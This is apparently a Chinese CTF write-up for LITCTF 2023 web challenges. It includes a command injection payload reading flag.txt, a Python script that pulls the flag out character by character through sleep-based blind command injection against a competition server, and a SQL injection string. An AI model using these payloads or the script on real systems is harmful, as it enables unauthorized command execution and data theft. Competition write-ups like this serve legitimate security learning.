2023/08/11:LITCTF2023

写出来的

My boss left

下载原代码查看
关键语句:

1
2
$valid_password = 'dGhpcyBpcyBzb21lIGdpYmJlcmlzaCB0ZXh0IHBhc3N3b3Jk';
if ($login_data['password'] == $valid_password)

只要密码正确即可获得flag
抓包修改即可

unsecure

由简介可知,登录账号密码分别为admin和password123,进入题目要求我们到/welcome页面
进入后输入账号密码登录,发现页面无法加载内容一直在发包
观察url,存在提示flag的位置在url栏,为某个get的值
使用burp拦截,一个个检查即可发现

PingPong

查看原代码

1
2
3
4
5
6
7
@app.route('/', methods = ['GET','POST'])
def index():
output = None
if request.method == 'POST':
hostname = request.form['hostname']
cmd = "ping -c 3 " + hostname
output = os.popen(cmd).read()

可判断该题没有过滤,直接将用户输入的内容输出
选择命令注入| cat flag.txt

没写出来的

感谢土豆佬
https://potatowo233.github.io/2023/08/09/Litctf2023/

Ping Pong: Under Maintenance

本题与Ping Pong的区别为无回显且不出网,可采用sh语句用sleep进行判断(类似SQL时间盲注)
脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time
import string

url = 'http://34.130.180.82:56409/'
flag = ''

pre = string.ascii_uppercase + '234567='
for i in range(1,200):
for j in pre:
s_time = time.time()
payload = f'''|if [ `cat flag.txt|base32|cut -c {i}` = '{j}' ];then sleep 4;fi'''
r = requests.post(url,data={
'hostname':payload
})
e_time = time.time()
exec_time = e_time - s_time
if exec_time > 4:
flag += j
print(flag)
break

license-inject

百度后得知这是个车牌检索软件,可以获得图片的信息
查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
plates.push({
name: 'codetiger',
// very long random string
plate: Array(40)
.fill('')
.map(() => 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'[Math.floor(Math.random() * 36)])
.join(''),
fine: 'LITCTF{redacted}'
});
plates.push({
name: 'Sample User',
plate: '215BG2',
fine: '$6942'
});

闭合查询语句查询codetiger即可,但要用图片" or name = 'codetiger';--

第一次见到这种形式的SQL注入